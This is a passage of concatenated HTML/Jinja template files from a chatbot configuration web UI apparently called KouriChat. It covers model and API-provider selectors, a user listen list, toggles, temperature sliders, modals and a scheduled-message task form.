})); } } } // 检查值是否是预设模型 function isIntentPresetModel(value) { if (!modelSelect) return false; const options = Array.from(modelSelect.options); return options.some(opt => opt.value === value && opt.value !== 'custom'); } // 移除所有现有事件监听器 const newSelect = modelSelect.cloneNode(true); modelSelect.parentNode.replaceChild(newSelect, modelSelect); // 添加新事件监听器 newSelect.addEventListener('change', function() { console.log("意图识别选择框变更:", this.value); handleIntentModelChange(this.value); }); // 检查是否有保存的模型值 if (savedModelValue) { console.log("检查保存的意图识别模型值:", savedModelValue); // 检查保存的值是否是预设选项 if (isIntentPresetModel(savedModelValue)) { // 如果是预设选项,直接选中 console.log("使用预设意图识别模型:", savedModelValue); newSelect.value = savedModelValue; if (customModelInput) customModelInput.style.display = 'none'; } else { // 如果不是预设选项,切换到自定义模式 console.log("使用自定义意图识别模型:", savedModelValue); newSelect.value = 'custom'; if (customModelInput) { customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); if (inputField) { inputField.value = savedModelValue; } } } } else { // 没有保存的值,选择第一个选项 console.log("无保存的意图识别模型值,使用默认值"); if (newSelect.options.length > 0) { newSelect.selectedIndex = 0; modelInput.value = newSelect.value; if (customModelInput) customModelInput.style.display = 'none'; } } }; // 为自定义意图识别模型输入框添加事件监听器 function setupIntentCustomModelInputListeners() { const customModelInputField = document.getElementById('intentCustomModelInputField'); const modelSelect = document.getElementById('intent_model_select'); const modelInput = document.getElementById('{{ key }}'); if (customModelInputField && modelSelect && modelInput) { console.log("设置自定义意图识别模型输入框监听器"); // 清除现有事件,防止重复绑定 const newField = customModelInputField.cloneNode(true); customModelInputField.parentNode.replaceChild(newField, customModelInputField); // 添加输入事件监听 newField.addEventListener('input', function() { console.log("自定义意图识别模型名称输入:", this.value); if (modelInput) { modelInput.value = this.value; // 触发change事件确保值被保存 modelInput.dispatchEvent(new Event('change', { bubbles: true })); } }); // 添加失焦事件监听 newField.addEventListener('blur', function() { console.log("自定义意图识别模型输入框失焦:", this.value); if (this.value && modelInput) { modelInput.value = this.value; // 触发change事件确保值被保存 modelInput.dispatchEvent(new Event('change', { bubbles: true })); } }); // 检查当前模型值 const currentValue = modelInput.value; if (modelSelect.value === 'custom' && currentValue) { console.log("填充自定义意图识别模型值:", currentValue); newField.value = currentValue; // 确保自定义输入框可见 const customModelInput = document.getElementById('intentCustomModelInput'); if (customModelInput) { customModelInput.style.display = 'block'; } } } } // 页面加载时初始化 document.addEventListener('DOMContentLoaded', function() { console.log("为自定义意图识别模型输入框添加事件监听器"); setupIntentCustomModelInputListeners(); // 页面加载完成后延迟执行,确保事件监听器正确添加 setTimeout(setupIntentCustomModelInputListeners, 500); // 立即执行意图识别模型选择器处理 window.intentModelSelectHandler(); // 在页面加载完成后再次执行 setTimeout(window.intentModelSelectHandler, 500); }); </script>
2302_81798979/KouriChat
src/webui/templates/config_items/intent_model_selector.html
HTML
unknown
7,467
<!-- 监听用户列表配置 --> <div class="mb-2"> <div class="input-group mb-2"> <input type="text" class="form-control" id="input_{{ key }}" placeholder="请输入要监听的用户"> <button class="btn btn-primary" type="button" onclick="addNewUser('{{ key }}')" title="添加用户"> 添加 <i class="bi bi-plus-lg"></i> </button> </div> <div id="selected_users_{{ key }}" class="list-group"> {% if config.value %} {% for user in config.value %} {% if user %} <div class="list-group-item d-flex justify-content-between align-items-center"> {{ user }} <button type="button" class="btn btn-danger btn-sm" onclick="removeUser('{{ key }}', '{{ user }}')" title="删除用户"> <i class="bi bi-x-lg"></i> </button> </div> {% endif %} {% endfor %} {% endif %} </div> </div> <input type="text" class="form-control" id="{{ key }}" name="{{ key }}" value="{{ config.value|join(',') }}" placeholder="多个值用英文逗号分隔" readonly style="display: none;">
2302_81798979/KouriChat
src/webui/templates/config_items/listen_list.html
HTML
unknown
1,292
<!-- 配置项宏定义 --> {% macro render_config_item(key, config) %} <div class="config-item-wrapper"> <label class="form-label"> <span class="badge badge-info rounded-pill me-2" data-bs-toggle="tooltip" title="{{ key }}"> <i class="bi bi-info-circle"></i> </span> {{ config.description }} </label> {% if key == 'LISTEN_LIST' %} {% include 'config_items/listen_list.html' %} {% elif key == 'GROUP_CHAT_CONFIG' %} {% include 'config_items/group_chat_config.html' %} {% elif key == 'DEEPSEEK_BASE_URL' %} {% include 'config_items/api_provider.html' %} {% elif key == 'MODEL' %} {% include 'config_items/model_selector.html' %} {% elif key == 'VISION_BASE_URL' %} {% include 'config_items/vision_api_provider.html' %} {% elif key == 'VISION_MODEL' %} {% include 'config_items/vision_model_selector.html' %} {% elif key == 'TEMPERATURE' or key == 'VISION_TEMPERATURE' or key == 'INTENT_TEMPERATURE'%} {% include 'config_items/temperature_slider.html' %} {% elif key == 'NETWORK_SEARCH_ENABLED' or key == 'WEBLENS_ENABLED' %} {% include 'config_items/switch_toggle.html' %} {% elif key == 'AVATAR_DIR' %} {% include 'config_items/avatar_dir_selector.html' %} {% elif config.value is boolean %} {% include 'config_items/switch_toggle.html' %} {% else %} {% include 'config_items/text_input.html' %} {% endif %} </div> {% endmacro %}
2302_81798979/KouriChat
src/webui/templates/config_items/macros.html
HTML
unknown
1,534
<!-- 模型选择器 --> <div class="mb-3"> <select class="form-select mb-2" id="model_select" aria-label="选择模型"> <!-- 模型选项将通过JavaScript动态加载 --> <option value="custom">自定义模型</option> </select> <!-- 自定义模型输入框 --> <div id="customModelInput" class="mb-2" style="display: none;"> <input type="text" class="form-control" placeholder="请输入自定义模型名称" id="customModelInputField"> </div> <input type="text" class="form-control" id="{{ key }}" name="{{ key }}" value="{{ config.value }}" readonly style="display: none;"> </div> <script> // 模型选择器处理函数 window.modelSelectHandler = function() { console.log("初始化模型选择器处理"); // 获取元素 const modelSelect = document.getElementById('model_select'); const modelInput = document.getElementById('{{ key }}'); const customModelInput = document.getElementById('customModelInput'); // 检查必要元素 if (!modelSelect) { console.error("模型选择器未找到!"); return; } if (!modelInput) { console.error("MODEL输入框未找到!"); return; } // 获取当前保存的模型值 const savedModelValue = modelInput.value || ''; // 模型选择变更处理函数 function handleModelChange(value) { console.log("处理模型选择变更:", value); if (!customModelInput) { console.error("自定义模型输入框未找到!"); return; } if (value === 'custom') { console.log("显示自定义模型输入框"); customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); if (inputField) { // 如果有保存的值,填充到输入框 if (savedModelValue && !isPresetModel(savedModelValue)) { inputField.value = savedModelValue; } // 聚焦输入框 inputField.focus(); } } else { console.log("隐藏自定义模型输入框"); customModelInput.style.display = 'none'; if (value) { modelInput.value = value; // 触发change事件确保值被保存 modelInput.dispatchEvent(new Event('change', { bubbles: true })); } } } // 检查值是否是预设模型 function isPresetModel(value) { if (!modelSelect) return false; const options = Array.from(modelSelect.options); return options.some(opt => opt.value === value && opt.value !== 'custom'); } // 移除所有现有事件监听器 const newSelect = modelSelect.cloneNode(true); modelSelect.parentNode.replaceChild(newSelect, modelSelect); // 添加新事件监听器 newSelect.addEventListener('change', function() { console.log("选择框变更:", this.value); handleModelChange(this.value); }); // 检查是否有保存的模型值 if (savedModelValue) { console.log("检查保存的模型值:", savedModelValue); // 检查保存的值是否是预设选项 if (isPresetModel(savedModelValue)) { // 如果是预设选项,直接选中 console.log("使用预设模型:", savedModelValue); newSelect.value = savedModelValue; if (customModelInput) customModelInput.style.display = 'none'; } else { // 如果不是预设选项,切换到自定义模式 console.log("使用自定义模型:", savedModelValue); newSelect.value = 'custom'; if (customModelInput) { customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); if (inputField) { inputField.value = savedModelValue; } } } } else { // 没有保存的值,选择第一个选项 console.log("无保存的模型值,使用默认值"); if (newSelect.options.length > 0) { newSelect.selectedIndex = 0; modelInput.value = newSelect.value; if (customModelInput) customModelInput.style.display = 'none'; } } }; // 为自定义模型输入框添加事件监听器 function setupCustomModelInputListeners() { const customModelInputField = document.getElementById('customModelInputField'); const modelSelect = document.getElementById('model_select'); const modelInput = document.getElementById('{{ key }}'); if (customModelInputField && modelSelect && modelInput) { console.log("设置自定义模型输入框监听器"); // 清除现有事件,防止重复绑定 const newField = customModelInputField.cloneNode(true); customModelInputField.parentNode.replaceChild(newField, customModelInputField); // 添加输入事件监听 newField.addEventListener('input', function() { console.log("自定义模型名称输入:", this.value); if (modelInput) { modelInput.value = this.value; // 触发change事件确保值被保存 modelInput.dispatchEvent(new Event('change', { bubbles: true })); } }); // 添加失焦事件监听 newField.addEventListener('blur', function() { console.log("自定义模型输入框失焦:", this.value); if (this.value && modelInput) { modelInput.value = this.value; // 触发change事件确保值被保存 modelInput.dispatchEvent(new Event('change', { bubbles: true })); } }); // 检查当前模型值 const currentValue = modelInput.value; if (modelSelect.value === 'custom' && currentValue) { console.log("填充自定义模型值:", currentValue); newField.value = currentValue; // 确保自定义输入框可见 const customModelInput = document.getElementById('customModelInput'); if (customModelInput) { customModelInput.style.display = 'block'; } } } } // 页面加载时初始化 document.addEventListener('DOMContentLoaded', function() { console.log("为自定义模型输入框添加事件监听器"); setupCustomModelInputListeners(); // 页面加载完成后延迟执行,确保事件监听器正确添加 setTimeout(setupCustomModelInputListeners, 500); // 立即执行模型选择器处理 window.modelSelectHandler(); // 在页面加载完成后再次执行 setTimeout(window.modelSelectHandler, 500); }); </script>
2302_81798979/KouriChat
src/webui/templates/config_items/model_selector.html
HTML
unknown
7,091
<!-- 开关切换组件 --> <div class="form-check form-switch d-flex align-items-center" style="padding: 6px 0; min-height: 38px;"> <input class="form-check-input me-2" type="checkbox" role="switch" id="{{ key }}" name="{{ key }}" {% if config.value %}checked{% endif %} style="margin: 0;" onchange="updateSwitchLabel(this)"> <label class="form-check-label mb-0" id="{{ key }}_label" for="{{ key }}" style="line-height: 24px;"> {{ '启用' if config.value else '停用' }} </label> </div> <script> // 确保页面加载时初始化开关状态 document.addEventListener('DOMContentLoaded', function() { const checkbox = document.getElementById('{{ key }}'); if (checkbox) { updateSwitchLabel(checkbox); // 添加额外的事件监听器,确保状态变化时触发 checkbox.addEventListener('change', function() { updateSwitchLabel(this); }); } }); </script>
2302_81798979/KouriChat
src/webui/templates/config_items/switch_toggle.html
HTML
unknown
1,014
<!-- 温度滑块组件 --> <div class="mb-3"> <div class="d-flex justify-content-between align-items-center mb-2"> <span>当前值: <strong id="{{ key }}_display" class="temperature-value">{{ config.value }}</strong></span> <span class="badge bg-primary">创造性参数</span> </div> <input type="range" id="{{ key }}_slider" class="temperature-slider" min="{{ config.min|default(0) }}" max="{{ config.max|default(2) }}" step="0.1" value="{{ config.value }}" oninput="updateTemperature('{{ key }}', this.value)"> <div class="d-flex justify-content-between mt-1"> <span class="small text-muted">低温 (更确定)</span> <span class="small text-muted">高温 (更创意)</span> </div> <input type="hidden" id="{{ key }}" name="{{ key }}" value="{{ config.value }}"> </div> <script> // 确保页面加载时初始化温度值 document.addEventListener('DOMContentLoaded', function() { const slider = document.getElementById('{{ key }}_slider'); if (slider) { updateTemperature('{{ key }}', slider.value); } }); </script>
2302_81798979/KouriChat
src/webui/templates/config_items/temperature_slider.html
HTML
unknown
1,197
<!-- 通用文本输入组件 --> {% if config.type == 'textarea' %} <textarea class="form-control" id="{{ key }}" name="{{ key }}" rows="5">{{ config.value }}</textarea> {% else %} <input type="text" class="form-control" id="{{ key }}" name="{{ key }}" value="{{ config.value }}"> {% endif %}
2302_81798979/KouriChat
src/webui/templates/config_items/text_input.html
HTML
unknown
333
<div class="mb-3"> <select class="form-select mb-2" id="vision_api_provider_select" onchange="updateVisionApiProvider(this.value)" aria-label="选择图像识别API提供商"> <!-- 图像识别API提供商选项将通过JavaScript动态加载 --> </select> <!-- 添加自定义 API 输入框 --> <div id="customVisionApiInput" class="mb-2" style="display: none;"> <input type="text" class="form-control" placeholder="请输入自定义服务地址" onchange="updateCustomVisionApi(this.value)"> </div> <!-- 注册链接容器 --> <div id="vision_register_links" class="d-none"> <!-- 注册链接将通过JavaScript动态添加 --> </div> <input type="text" class="form-control" id="{{ key }}" name="{{ key }}" value="{{ config.value }}" readonly style="display: none;"> </div> <script> // 动态加载图像识别API提供商选项 async function loadVisionApiProviders() { try { let configs = null; if (typeof window.getModelConfigs === 'function') { configs = await window.getModelConfigs(); } const apiSelect = document.getElementById('vision_api_provider_select'); if (!apiSelect || !configs || !configs.vision_api_providers) { console.warn('无法加载图像识别API提供商配置'); throw new Error('配置加载失败'); } // 清空现有选项 apiSelect.innerHTML = ''; // 按优先级排序并添加选项 const sortedProviders = configs.vision_api_providers .filter(provider => provider.status === 'active') .sort((a, b) => (a.priority || 999) - (b.priority || 999)); sortedProviders.forEach(provider => { const option = document.createElement('option'); option.value = provider.id; option.textContent = provider.name; option.setAttribute('data-url', provider.url); option.setAttribute('data-register', provider.register_url || ''); apiSelect.appendChild(option); }); // 添加自定义选项 const customOption = document.createElement('option'); customOption.value = 'custom'; customOption.textContent = '自定义服务提供商'; apiSelect.appendChild(customOption); console.log('✅ 图像识别API提供商选项加载完成,共', sortedProviders.length + 1, '个选项'); } catch (error) { console.error('❌ 加载图像识别API提供商失败,使用默认选项:', error); // 使用默认选项作为回退 const apiSelect = document.getElementById('vision_api_provider_select'); if (apiSelect) { apiSelect.innerHTML = ` <option value="kourichat-global" data-url="https://api.kourichat.com/v1" data-register="https://api.kourichat.com/register">KouriChat API (推荐)</option> <option value="moonshot" data-url="https://api.moonshot.cn/v1" data-register="https://platform.moonshot.cn/console/api-keys">Moonshot AI</option> <option value="openai" data-url="https://api.openai.com/v1" data-register="https://platform.openai.com/api-keys">OpenAI</option> <option value="siliconflow" data-url="https://api.siliconflow.cn/v1/" data-register="https://www.siliconflow.cn">硅基流动 API</option> <option value="custom">自定义服务提供商</option> `; } } } // 设置初始值 function setVisionInitialValues() { // 根据当前配置设置初始值 const currentUrl = document.getElementById('VISION_BASE_URL').value; const apiSelect = document.getElementById('vision_api_provider_select'); const currentModel = document.getElementById('VISION_MODEL').value; // 查找匹配的选项 let found = false; for (let i = 0; i < apiSelect.options.length; i++) { const option = apiSelect.options[i]; if (option.dataset.url === currentUrl) { apiSelect.value = option.value; updateVisionApiProvider(option.value); found = true; break; } } // 如果没有找到匹配项,使用自定义选项 if (!found && currentUrl) { apiSelect.value = 'custom'; showCustomVisionApiInput(currentUrl); // 对于自定义API提供商,显示自定义模型输入框并设置值 const customModelInput = document.getElementById('customVisionModelInput'); if (customModelInput && currentModel) { customModelInput.style.display = 'block'; customModelInput.querySelector('input').value = currentModel; // 设置模型选择框 const modelSelect = document.getElementById('vision_model_select'); if (modelSelect) { // 添加自定义选项 if (!modelSelect.querySelector('option[value="custom"]')) { modelSelect.innerHTML += '<option value="custom">自定义模型</option>'; } modelSelect.value = 'custom'; } } if (typeof window.updateVisionModelSelect === 'function') { window.updateVisionModelSelect('custom'); } } // 如果自定义模型输入框需要显示 const customModelInput = document.getElementById('customVisionModelInput'); if (apiSelect.value === 'custom' && customModelInput && currentModel) { customModelInput.style.display = 'block'; customModelInput.querySelector('input').value = currentModel; } } // 显示自定义图像识别API输入框 function showCustomVisionApiInput(value = '') { const customApiInput = document.getElementById('customVisionApiInput'); customApiInput.style.display = 'block'; if (value) { customApiInput.querySelector('input').value = value; } } // 更新自定义图像识别API function updateCustomVisionApi(value) { const baseUrlInput = document.getElementById('VISION_BASE_URL'); if (value) { baseUrlInput.value = value; } } // 更新图像识别API提供商 function updateVisionApiProvider(providerId) { // 获取URL输入框和显示区域 const urlInput = document.getElementById('VISION_BASE_URL'); const registerLinks = document.getElementById('vision_register_links'); // 获取选择器和当前选择的选项 const selector = document.getElementById('vision_api_provider_select'); const selectedOption = selector.options[selector.selectedIndex]; // 自定义服务提供商处理 const customApiInput = document.getElementById('customVisionApiInput'); if (providerId === 'custom') { // 显示自定义输入框 customApiInput.style.display = 'block'; // 获取当前URL,放入自定义输入框 customApiInput.querySelector('input').value = urlInput.value || ''; // 隐藏注册链接 registerLinks.classList.add('d-none'); } else { // 隐藏自定义输入框 customApiInput.style.display = 'none'; // 从选项中获取API URL const apiUrl = selectedOption.getAttribute('data-url'); if (apiUrl) { urlInput.value = apiUrl; } // 显示注册链接(如果有) const registerUrl = selectedOption.getAttribute('data-register'); if (registerUrl) { registerLinks.innerHTML = ` <a href="${registerUrl}" target="_blank" class="btn btn-sm btn-outline-primary mt-2"> <i class="bi bi-box-arrow-up-right"></i> 获取API密钥 </a>`; registerLinks.classList.remove('d-none'); } else { registerLinks.classList.add('d-none'); } } // 更新对应的模型选择器 if (typeof window.updateVisionModelSelect === 'function') { window.updateVisionModelSelect(providerId); } else { console.warn('updateVisionModelSelect 函数未定义'); } } // 页面加载时初始化 document.addEventListener('DOMContentLoaded', function() { // 先加载图像识别API提供商选项 loadVisionApiProviders().then(() => { // 加载完成后设置初始值 setTimeout(setVisionInitialValues, 100); }); }); </script>
2302_81798979/KouriChat
src/webui/templates/config_items/vision_api_provider.html
HTML
unknown
8,503
<!-- 视觉模型选择器 --> <div class="mb-3"> <select class="form-select mb-2" id="vision_model_select" onchange="updateVisionModel(this.value)" aria-label="选择图像识别模型"> <!-- 模型选项会根据API提供商动态加载 --> <option value="custom">自定义模型</option> </select> <!-- 添加自定义模型输入框 --> <div id="customVisionModelInput" class="mb-2" style="display: none;"> <input type="text" class="form-control" placeholder="请输入自定义模型名称" onchange="updateCustomVisionModel(this.value)"> </div> <input type="text" class="form-control" id="{{ key }}" name="{{ key }}" value="{{ config.value }}" readonly style="display: none;"> </div> <script> // 更新选中的图像识别模型 function updateVisionModel(value) { const modelInput = document.getElementById('VISION_MODEL'); const customModelInput = document.getElementById('customVisionModelInput'); if (value === 'custom') { customModelInput.style.display = 'block'; const inputField = customModelInput.querySelector('input'); if (inputField) { inputField.focus(); } } else { customModelInput.style.display = 'none'; if (value) { modelInput.value = value; } } } // 更新自定义图像识别模型 function updateCustomVisionModel(value) { const modelInput = document.getElementById('VISION_MODEL'); if (value) { modelInput.value = value; } } // updateVisionModelSelect 函数已在 model-config.js 中定义,这里不需要重复定义 </script>
2302_81798979/KouriChat
src/webui/templates/config_items/vision_model_selector.html
HTML
unknown
1,694
<!-- 高级配置区域 --> {% for group_name, configs in config_groups.items() %} {% if group_name != '基础配置' and group_name != '定时任务配置' %} <div class="accordion mb-3"> <div class="accordion-item"> <h2 class="accordion-header"> <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#{{ group_name|replace(' ', '-') }}"> {{ group_name }} </button> </h2> <div id="{{ group_name|replace(' ', '-') }}" class="accordion-collapse collapse"> <div class="accordion-body"> {% for key, config in configs.items() %} <div class="mb-4"> {% if config.type == 'text' %} <textarea class="form-control" id="WORLDVIEW" name="WORLDVIEW" rows="8" placeholder="请输入世界书内容(默认值为空,即不指定世界观)">{{ config.value }}</textarea> {% else %} {{ render_config_item(key, config) }} {% endif %} </div> {% endfor %} </div> </div> </div> </div> {% endif %} {% endfor %}
2302_81798979/KouriChat
src/webui/templates/config_sections/advanced_config.html
HTML
unknown
1,399
<!-- 基础配置区域 --> {% for group_name, configs in config_groups.items() %} {% if group_name == '基础配置' %} <div class="accordion mb-3"> <div class="accordion-item"> <h2 class="accordion-header"> <button class="accordion-button" type="button" data-bs-toggle="collapse" data-bs-target="#{{ group_name|replace(' ', '-') }}"> {{ group_name }} </button> </h2> <div id="{{ group_name|replace(' ', '-') }}" class="accordion-collapse collapse show"> <div class="accordion-body"> {% for key, config in configs.items() %} <div class="mb-4"> {{ render_config_item(key, config) }} </div> {% endfor %} </div> </div> </div> </div> {% endif %} {% endfor %}
2302_81798979/KouriChat
src/webui/templates/config_sections/basic_config.html
HTML
unknown
943
<!-- 模态框组件 --> <!-- 监听用户列表为空的确认对话框 --> <div class="modal fade" id="emptyListenListModal" tabindex="-1" aria-labelledby="emptyListenListModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="emptyListenListModalLabel"> <i class="bi bi-exclamation-triangle-fill text-warning me-2"></i>提示 </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button> </div> <div class="modal-body"> <p>您未填写监听用户,是否继续保存?</p> <p class="text-muted small">未填写监听用户将导致机器人无法响应任何消息。</p> </div> <div class="modal-footer"> <button type="button" class="btn btn-primary" data-bs-dismiss="modal">否</button> <button type="button" class="btn btn-secondary" id="confirmSaveBtn">是</button> </div> </div> </div> </div> <!-- 人设选择提醒对话框 --> <div class="modal fade" id="avatarReminderModal" tabindex="-1" aria-labelledby="avatarReminderModalLabel" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="avatarReminderModalLabel"> <i class="bi bi-exclamation-triangle-fill text-warning me-2"></i>人设提醒 </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button> </div> <div class="modal-body"> <p>您选择的人设是:<span id="selectedAvatarName" class="fw-bold"></span></p> <p class="text-muted small">请确认这是您要使用的人设。如需修改人设内容,请前往"角色设定"页面。</p> </div> <div class="modal-footer"> <button type="button" class="btn btn-outline-secondary" data-bs-dismiss="modal">取消</button> <button type="button" class="btn btn-primary" id="confirmAvatarBtn">确认并保存</button> </div> </div> </div> </div>
2302_81798979/KouriChat
src/webui/templates/config_sections/modals.html
HTML
unknown
2,406
<!-- 通知组件 --> <div class="position-fixed top-0 start-50 translate-middle-x p-3 notification-container"> <div id="saveNotification" class="toast align-items-center text-white bg-success border-0" role="alert" aria-live="assertive" aria-atomic="true"> <div class="d-flex"> <div class="toast-body"> <i class="bi bi-check-circle-fill me-2"></i> <span id="saveNotificationMessage"></span> </div> <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast" aria-label="关闭通知"></button> </div> </div> </div> <div class="toast-container"> <div class="toast" role="alert" aria-live="assertive" aria-atomic="true"> <div class="toast-body"> <i class="bi bi-exclamation-triangle-fill text-danger"></i> <span class="toast-message"></span> </div> </div> </div>
2302_81798979/KouriChat
src/webui/templates/config_sections/notifications.html
HTML
unknown
934
<!-- 保存按钮固定在底部 --> <div class="position-fixed bottom-0 start-0 w-100 bg-body p-3 shadow-lg"> <div class="container-fluid"> <div class="row"> <div class="col-12"> <button type="button" class="btn btn-primary btn-lg w-100" id="saveButton"> <i class="bi bi-save me-2"></i>保存所有设置 </button> </div> </div> </div> </div>
2302_81798979/KouriChat
src/webui/templates/config_sections/save_button.html
HTML
unknown
483
<!-- 定时任务配置部分 --> <div class="accordion mb-3"> <div class="accordion-item"> <h2 class="accordion-header"> <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#schedule-settings"> 定时任务配置 </button> </h2> <div id="schedule-settings" class="accordion-collapse collapse"> <div class="accordion-body"> <input type="hidden" id="TASKS" name="TASKS" value='{{ tasks_json|safe }}'> <div class="mb-3 list-group"> <a href="#" class="list-group-item list-group-item-action" data-bs-toggle="modal" data-bs-target="#addTaskModal"> <i class="bi bi-plus-lg me-2"></i> 添加定时任务 <i class="bi bi-chevron-right float-end mt-1"></i> </a> </div> <div class="mb-3 list-group"> <a href="#" class="list-group-item list-group-item-action" data-bs-toggle="modal" data-bs-target="#taskListModal"> <i class="bi bi-list-ul me-2"></i> 任务列表管理 <i class="bi bi-chevron-right float-end mt-1"></i> </a> </div> <div class="text-muted small"> <i class="bi bi-info-circle me-1"></i> 可以添加定时发送消息的任务,支持Cron表达式和时间间隔两种方式 </div> </div> </div> </div> </div>
2302_81798979/KouriChat
src/webui/templates/config_sections/schedule_config.html
HTML
unknown
1,801
<!-- 任务表单 --> <form id="taskForm"> <div class="row"> <!-- 左侧:基本信息 --> <div class="col-md-6"> <div class="mb-3"> <label class="form-label"> <i class="bi bi-key me-2"></i>任务ID </label> <input type="text" class="form-control" id="taskId" required> </div> <div class="mb-3"> <label class="form-label"> <i class="bi bi-person me-2"></i>发送对象 </label> <select class="form-select" id="taskChatId" required> <option value="">请选择发送对象</option> </select> </div> <div class="mb-3"> <label class="form-label"> <i class="bi bi-chat-text me-2"></i>消息内容 </label> <textarea class="form-control" id="taskContent" rows="3" required></textarea> </div> </div> <!-- 右侧:定时设置 --> <div class="col-md-6"> <div class="mb-3"> <label class="form-label"> <i class="bi bi-alarm me-2"></i>定时类型 </label> <select class="form-select" id="scheduleType" onchange="toggleScheduleInput()"> <option value="cron">Cron表达式</option> <option value="interval">时间间隔</option> </select> </div> <!-- Cron表达式设置 --> <div id="cronInputGroup" class="mb-3"> <label class="form-label"> <i class="bi bi-calendar3 me-2"></i>执行时间 </label> <div class="row g-2"> <div class="col-6"> <select class="form-select" id="cronHour"> <option value="*">每小时</option> {% for hour in range(24) %} <option value="{{ hour }}">{{ hour }}点</option> {% endfor %} </select> </div> <div class="col-6"> <select class="form-select" id="cronMinute"> <option value="0">整点</option> <option value="30">30分</option> <option value="15">15分</option> <option value="45">45分</option> </select> </div> </div> <div class="mt-2"> <label class="form-label"> <i class="bi bi-calendar-week me-2"></i>执行周期 </label> <div class="btn-group w-100 flex-wrap" role="group"> {% set weekdays = ['一', '二', '三', '四', '五', '六', '日'] %} {% for i in range(1, 8) %} <input type="checkbox" class="btn-check" id="cronWeekday{{ i }}" autocomplete="off"> <label class="btn btn-outline-primary flex-fill" for="cronWeekday{{ i }}">{{ weekdays[i-1] }}</label> {% endfor %} </div> </div> <!-- 隐藏的cron表达式输入框 --> <input type="hidden" id="cronExpression" value=""> </div> <!-- 时间间隔设置 --> <div id="intervalInputGroup" class="mb-3" style="display: none;"> <label class="form-label"> <i class="bi bi-hourglass-split me-2"></i>间隔时间 </label> <div class="input-group"> <input type="number" class="form-control" id="intervalValue" min="1" step="1" placeholder="输入数值"> <select class="form-select" id="intervalUnit" style="max-width: 120px;"> <option value="60">分钟</option> <option value="3600">小时</option> <option value="86400">天</option> </select> </div> <div class="form-text"> <i class="bi bi-info-circle me-1"></i> 常用间隔: <div class="btn-group mt-1"> <button type="button" class="btn btn-sm btn-outline-secondary" onclick="setInterval(30, '60')">30分钟</button> <button type="button" class="btn btn-sm btn-outline-secondary" onclick="setInterval(1, '3600')">1小时</button> <button type="button" class="btn btn-sm btn-outline-secondary" onclick="setInterval(2, '3600')">2小时</button> <button type="button" class="btn btn-sm btn-outline-secondary" onclick="setInterval(24, '3600')">1天</button> </div> </div> </div> <!-- 预览 --> <div class="mt-3"> <label class="form-label"> <i class="bi bi-eye me-2"></i>执行时间预览 </label> <div id="schedulePreview" class="form-control"> 请选择定时类型和设置 </div> </div> </div> </div> </form>
2302_81798979/KouriChat
src/webui/templates/config_sections/task_form.html
HTML
unknown
5,498
<!-- 任务列表模态框 --> <div class="modal fade" id="taskListModal" tabindex="-1"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"> <i class="bi bi-list-check me-2"></i>定时任务列表 </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button> </div> <div class="modal-body"> <div id="taskListContainer" class="list-group"> <!-- 默认显示无任务提示 --> <div class="text-center text-muted p-4"> <i class="bi bi-inbox fs-2"></i> <p class="mt-2">暂无定时任务</p> </div> </div> </div> </div> </div> </div> <!-- 添加任务模态框 --> <div class="modal fade" id="addTaskModal" tabindex="-1" aria-labelledby="addTaskModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="addTaskModalLabel"> <i class="bi bi-plus-circle me-2"></i>添加定时任务 </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <form id="taskForm"> <div class="row"> <!-- 左侧:基本信息 --> <div class="col-md-6"> <div class="mb-3"> <label class="form-label"> <i class="bi bi-key me-2"></i>任务ID </label> <input type="text" class="form-control" id="taskId" required> </div> <div class="mb-3"> <label class="form-label"> <i class="bi bi-person me-2"></i>发送对象 </label> <select class="form-select" id="taskChatId" required> <option value="">请选择发送对象</option> </select> </div> <div class="mb-3"> <label class="form-label"> <i class="bi bi-chat-text me-2"></i>消息内容 </label> <textarea class="form-control" id="taskContent" rows="3" required></textarea> </div> </div> <!-- 右侧:定时设置 --> <div class="col-md-6"> <div class="mb-3"> <label class="form-label"> <i class="bi bi-alarm me-2"></i>定时类型 </label> <select class="form-select" id="scheduleType" onchange="toggleScheduleInput()"> <option value="cron">Cron表达式</option> <option value="interval">时间间隔</option> </select> </div> <!-- Cron表达式设置 --> <div id="cronInputGroup" class="mb-3"> <label class="form-label"> <i class="bi bi-calendar3 me-2"></i>执行时间 </label> <div class="row g-2"> <div class="col-6"> <select class="form-select" id="cronHour"> <option value="*">每小时</option> <option value="0">0点</option> <option value="1">1点</option> <option value="2">2点</option> <option value="3">3点</option> <option value="4">4点</option> <option value="5">5点</option> <option value="6">6点</option> <option value="7">7点</option> <option value="8">8点</option> <option value="9">9点</option> <option value="10">10点</option> <option value="11">11点</option> <option value="12">12点</option> <option value="13">13点</option> <option value="14">14点</option> <option value="15">15点</option> <option value="16">16点</option> <option value="17">17点</option> <option value="18">18点</option> <option value="19">19点</option> <option value="20">20点</option> <option value="21">21点</option> <option value="22">22点</option> <option value="23">23点</option> </select> </div> <div class="col-6"> <select class="form-select" id="cronMinute"> <option value="0">整点</option> <option value="30">30分</option> <option value="15">15分</option> <option value="45">45分</option> </select> </div> </div> <div class="mt-2"> <label class="form-label"> <i class="bi bi-calendar-week me-2"></i>执行周期 </label> <div class="btn-group w-100 flex-wrap" role="group"> <input type="checkbox" class="btn-check" id="cronWeekday1" autocomplete="off"> <label class="btn btn-outline-primary flex-fill" for="cronWeekday1">一</label> <input type="checkbox" class="btn-check" id="cronWeekday2" autocomplete="off"> <label class="btn btn-outline-primary flex-fill" for="cronWeekday2">二</label> <input type="checkbox" class="btn-check" 